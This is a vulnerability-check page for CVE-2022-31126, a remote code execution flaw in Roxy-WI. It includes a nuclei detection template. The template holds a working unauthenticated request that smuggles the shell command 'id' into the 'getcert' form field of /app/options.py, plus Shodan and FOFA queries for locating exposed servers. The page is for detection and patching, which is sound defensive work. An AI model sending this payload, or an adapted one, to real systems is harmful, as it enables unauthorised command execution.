Roxy-WI - Remote Code Execution

criticalseverity

9.8CVSS score

52.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the ssh_command function without processing the inputs received from the user in the /app/funct.py file.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Users are advised to upgrade to latest version.

How to confirm it

Send: POST /app/options.py
Positive when: matches /uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-31126 -u <target>

The full check

id: CVE-2022-31126

info:
  name: Roxy-WI - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the ssh_command function without processing the inputs received from the user in the /app/funct.py file.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Users are advised to upgrade to latest version.
  reference:
    - https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
    - https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-mh86-878h-43c9
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31126
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31126
    cwe-id: CWE-74
    epss-score: 0.52649
    epss-percentile: 0.98977
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query: html:"Roxy-WI"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        Referer: {{BaseURL}}/app/login.py

        show_versions=1&token=&alert_consumer=1&serv=127.0.0.1&getcert=;id;

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from